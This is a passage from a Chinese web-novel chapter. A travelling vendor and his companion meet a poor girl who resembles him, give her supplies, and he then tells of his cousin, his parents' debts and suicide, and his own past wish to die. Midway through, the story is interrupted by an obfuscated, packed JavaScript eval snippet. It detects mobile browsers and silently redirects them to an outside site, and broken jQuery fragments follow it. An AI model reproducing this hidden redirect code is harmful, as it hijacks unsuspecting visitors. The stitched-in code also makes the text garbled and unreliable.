季临收应声看过去,而后目光怔愣住。
小女孩女生男相,浓眉大眼,高鼻薄唇,确实长得挺像他,但他的记忆里并没有这一号亲戚的存在。
是单纯长相相似的巧合,还是真和他有亲戚关系?
看季临收望着小女孩陷入沉思,江忆问:“你认识她吗?”
季临收轻轻摇头:“我也觉得她长得和我像,但我确实不认识她。”
江忆亲缘关系薄弱,从小和奶奶相依为命,没有体会过大家族那般的温暖亲情,他是命该如此,也认命了。
但有些时候一个人孤单无依,他也会好奇,也会羡慕那些亲情浓度很高的家庭。
自己没办法得到的生活,他想要季临收拥有,加上小女孩确实也真的长得很合他眼缘。
虽然衣服破旧,皮肤黝黑,但是那双眼却黑亮得吓人。
江忆没忍住多提了句:“会不会是不经常联系的远房亲戚家的小孩儿?你要不去问问她家里人的名字,万一真是亲戚呢。就算不是亲戚,陌生人长这么像也是缘分。”
季临收被江忆说得有些意动,他侧目去看江忆。
江忆眨着眼睛抬下巴,鼓励道:“去吧去吧。”
“好,”季临收下定决心,打开车门,“我去问问。”
季临收寡言,但不惧人。
这还是他第一次这么犹豫要不要去和一个人接触。
对方甚至只是一个看起来不超过十岁的小女孩。
季临收人高马大,五官偏攻击性,不笑的时候往那儿一站是挺唬人。
他一靠近,一群小孩儿呼呼啦啦叫嚷着作鸟兽散去,跑得毫不留恋,生怕晚了一步就会被他抓去卖了。
出乎他意料的是,小女孩没有跟着跑,反而甩开了一个小男孩想拉她跑的手。
小女孩穿着一身不合身的旧衣服,站在原地,一双黑亮的眼神怯而直白地看着他。
季临收收敛气势,勉强笑笑,让自己看起来不那么紧绷,也不那么像坏人:“我们长得很像。”
小女孩点头。
正是因为这个原因,她才没有跑,甚至还有些不可言说的期待。
“你妈妈叫什么名字?”季临收喉头发紧问。
小女孩眼睛更亮些,颤着嗓音开口:“春花。”
季临收呼吸急促几分,语速不自觉加快:“是春花?不是春华?她姓什么?”
小女孩抿抿唇:“是春花,姓春。”
从她有记忆起,奶奶和爸爸就一直叫妈妈春花。有些时候气急了,奶奶和爸爸也会叫妈妈蠢花、蠢猪、贱人、婊子之类的。但这些刺耳的称呼,她不想说给面前的叔叔听。
不是姓季的春华,是姓春的春花。
季临收一颗心高高抛起又落下。
他忍不住继续问:“那你家里还有哪些人?都叫什么名字?”
这时,那个之前意图拉小女孩走的男孩急迫出声:“招娣你不要告诉他,他一上来就问这么多,肯定是想干坏事!”
季临收瞥了男孩一眼,男孩立马闭嘴。
视线转回到小女孩身上,季临收保证:“我不是坏人。”
小女孩抿抿唇,眼里情绪分明:“我知道。我奶奶叫……”
报其他家里人信息的时候,小女孩眼里的期待退去了,只是像完成任务一般告诉季临收。
季临收听完,默了默,实话实话:“很遗憾,我都不认识。”
听他这样说,小女孩却像松了口气,摇摇头说:“没关系,叔叔。那我走了?我还要把猪草背回家。”
季临收这才注意到,小女孩瘦弱的脊背上挂着一个做工粗糙的大背篓。
背篓很大很高,装满了藤蔓状的猪草,像是一个厚重的乌龟壳一样压在小女孩身上,几乎和小女孩融为一体。
季临收喉头滑动:“要我开车送你吗?”
小女孩正要说什么,小男孩冲过来,一把拉起小女孩的手跑了。
“不需要!我们自己回去!”
见人跑了,江忆从车窗里探头,关心问:“不认识吗?”
季临收敛着眉眼:“不认识。”
能感觉到季临收的失落,江忆自己也挺失落。
他笑笑,安慰自己也安慰季临收:“没事,没事。看她好瘦,家里条件应该不太好,我们要不要送点什么给她?遇都遇见了。”
这话提醒了季临收,他快步追上去,拉住小女孩的背篓:“等一下。”
小女孩气喘吁吁回头,眼里蕴着濡湿的亮光:“叔叔,还有什么事吗?”
小男孩气鼓鼓拽小女孩的手:“走啊!你还和他说什么?他肯定是反悔了!”
小女孩没动,也没怕,只看着季临收。
季临收沉声说:“我想送你点东西,过去挑。”
看在其他人都跑了,只有小男孩还惦记关心小女孩的份上,季临收也对小男孩说:“你也可以拿。”
他这一说,两个小孩儿才注意他车上装了各色货品。
小男孩咽咽口水,终于想起来:“我知道你是谁了!你是季老板!我奶奶经常在你这儿给我买吃的!她怕我挑很多,每次都不让我跟她一起。”
季临收一手拎一个背篓,将两人提溜到车旁:“挑吧。”
小男孩蠢蠢欲动,但还是说:“我没钱,我奶奶也不会帮我给钱。”
季临收耐心快要耗尽,江忆出了副驾驶,走了过来:“没事,不会要你们钱,喜欢什么拿什么。”
江忆长得好看,笑起来亲和又干净,听他这样说,小男孩的警惕性减了些,他试探性拿了一个橘子:“谢谢?”
季临收点头,看向小女孩:“你要什么?”
小女孩抿着嘴唇,没说话,摇摇头:“不用,谢谢。”
说完,小女孩拉着小男孩转身要走。
这时候却是小男孩不想走了。
小男孩拿着橘子,满脸激动:“叔叔,你有文具吗?你给她铅笔和本子,她肯定要。”
季临收:“有。你拉着她别走,我给你们拿。”
季临收转身,江忆已经扯了两个口袋,递了给他。
江忆轻声说:“我知道装什么,你给我扯着袋子。”
季临收深深看了他一眼,应下。
口袋是黑的,看不见里面具体的内容物。
给小男孩的里面装了些水果和零食。给小女孩儿的,江忆则是往里放了文具用品和洗护用品,外加一些耐放体积小的饱腹零食。
一人一口袋放进背篓里,扯过猪草遮掩好,江忆招呼两人:“不早了,你们快回家吧,这些东西最好就你们知道,不要给不信任的人说。”
小女孩不想要,一直想要挣脱小男孩的手去把背篓里的东西拿出来。江忆一看,立马催着季临收开车跑路。
车驶出去一段距离,江忆莞尔一笑:“怎么我俩送人东西的反而被吓得跑路了?不过有一说一,那两个孩子我都还挺喜欢的。”
季临收视线望着前路:“嗯。”
季临收没明说,但江忆读懂了他的意思,也看出他此刻的怅惘。
“季临收,你停一下车。”江忆笑意收敛,面色严肃几分。
刹车急停,季临收侧目看向江忆:“怎么了?”
江忆点开手机相机,切换到自拍视角,一下怼到季临收眼前。
“你现在这样开车,我真的很不放心。”
季临收敛眸和手机中的自己对望。
男人眉宇郁结,眼底脸上写着明显的愁绪。
“抱歉,”季临收压低声音,“吓到你了。”
江忆叹了口气,撸撸狗头,没否认:“你确实吓到我了。你是不是心里有事儿?要是有事的话,我们先不走,就在这儿停会儿,你自己静静也好,和我说说也好,反正要先把情绪搞定了再回去。”
雨后的路又湿又滑,司机要是心不在焉,肯定要出大事。
虽然他不介意和季临收一起殉情。但他认为现在不是什么殉情的好时机,毕竟他还没把人睡到手呢。同样的,要殉情也不是在这种情形下殉,他不认为现在有什么大不了的事情值得让他俩一起去死。
江忆眼里担忧明显,泛着他自己都没意识到的薄薄水光。
季临收心头被烫了一下,彻底醒神。
他看着江忆,认真道歉:“对不起。”
唇瓣动了动,江忆有些无奈:“我不要你的对不起,我也不怕你带我去死。”
停顿两秒,江忆深深凝望季临收:“我只是不想看到你不开心。”
江忆的话在耳中循环播放,季临收心间的火越烧越旺,火苗窜到喉咙口。
望着江忆漂亮的、忧虑的眼睛,他突然生出很强烈的倾诉欲。
“你还记得我堂姐吗?”
江忆点头:“记得。在你家一楼的墙壁上有照片,她气质很温婉、文艺。”
季临收唇角动动,眼神悠远:“她小时候其实不是那样。她小时候和那个小女孩一样,长得像男孩。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261141|181481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
江忆懂了。
季临收今天的不正常是因为堂姐。
上次在家里也是,提起堂姐,季临收的神情就不对了。
当时他觉得不应该掀季临收伤疤,就没有追问。
经历今天的事情之后,他发现当时的想法是错误的。
有些结痂的伤疤,确实不应该掀,掀开会造成新伤。
可季临收的伤疤是腐朽的、沤烂的伤疤,不把表面的腐肉割去,对症下药,那下面的伤口只会越来越恶臭,溃烂得越来越大。
“她是发生了什么事吗?”江忆直接问出口,“上次章凡的婚礼上,我都没有见到她。”
按理说,按照两家人的关系,章凡结婚这么重要的事,季临收表姐肯定会出席。
再往细了想,他回西川这么久,居然从未听到过有关堂姐和季临收其他家人的事情。章凡婚礼,也是季临收自己一个人去的。
江忆断定,这其中肯定有事。
“说来话长……”
接下来的一段时间里,江忆抱着五谷,听季临收诉说了那些压在他心底无比沉重的事情。
季临收的堂姐叫季春华,是他大伯的独女。
堂姐的家庭是很典型的中国式家庭,父亲在工厂打工,赚钱养家,母亲没有工作,在家相夫教子。
堂姐初一时,一场意外让大伯失去了生命,大伯母没有太大主见,没多久就在娘家人的逼迫下,被迫相亲再婚。临走前,大伯母把堂姐和大部分的赔偿金都留给了年迈的季奶奶。
季奶奶身体也不好,知道自己可能活不了多久,转头又将堂姐托付给季临收的父母。
不管是出于对大哥骨血的怜惜,还是对赔偿金的在意,季父季母很干脆的将堂姐接手了过来,并保证会像对待亲生女儿那样对待她。
堂姐比季临收大两岁,两人小时候关系不错,可随着年龄增长,家庭变故的发生,她的性格变得沉默寡言,和季临收的交流也仅限一些招呼寒暄,更多时候,她都是一个人静静坐着看书学习,或是闷不啃声帮季母做一些家务活。
季临收那时候还是一个没心没肺的青春期体育生,日常不是在训练就是和好友打球玩游戏。他听了季母的话,以为堂姐是长大有了性别之分,不喜欢和他这种吵吵囔囔的臭男生玩,便也注意着,不再经常去堂姐面前讨嫌,只时不时给堂姐分享一些吃的喝的算是表达自己的心意。
两人维持着这种“相敬如宾”的姐弟关系一直到季临收高三那年。
那一年,季临收体考失利,文化课成绩只够上学费死贵的民办大学。
同一年,季母得癌,季父染赌输掉了家里的所有存款,高利贷催上门,季父病急乱投医,把远在外省上大二的堂姐骗回家,想让堂姐嫁给一个傻子来换取高额彩礼还赌债攒学费。
季临收意外撞破季父的计划,悄悄放走了堂姐。紧接着高利贷上门,季父吓得三魂没了七魄,头昏之下和季母双双喝药自杀,独留季临收一个人面对父母的意外离世和高额债务。
在好友和长辈的帮助下,十八岁的季临收忍着悲痛和高压处理好了父母的身后事。为了还债,也为了逃避一些事情,他把家里的房子过户给了高利贷,然后自己找了个汽修铺当学徒,闷头干了三年。
那三年,他迷茫,无助,愧疚,麻痹,唯一支撑着他活下去的,就是他要按时给堂姐打学费和生活费的信念。
后来,堂姐大四毕业,明确表明想要和过去做切断,彻底拥抱新生活,将他打过去的学费生活费都还了回来,换了新的手机号码。
自此,两人再无联系,季临收再度陷入迷茫的困境。
刚好这时候,大专毕业的傅竟川不想按照父母规划的路走,想自己创业。想着反正自己也不怎么花钱,季临收就把自己这三年攒的钱都投给了傅竟川。
傅竟川感动至极,将那笔钱当成季临收入股的资金,拉着季临收大干特干。哪怕季临收一直将重心放在进山跑车上,傅竟川也无怨无悔,仍然按照最初的约定给季临收分股份和分红。
“把钱全给傅竟川的时候,其实我是起了死念的,想着临死之前给兄弟一点支持,结果后面他说创业初期人手不够,让我跟着他一起进山卖货。等真进了山,看到了很多因为我而绽放的笑脸,我又改变了主意。想着与其就这样随便死了,不如苟活着,当个卖货郎,给山里的大家多一点方便。”
听到这儿,江忆再也忍不住,哭得无声又汹涌:“季临收,你很好,你不要死……”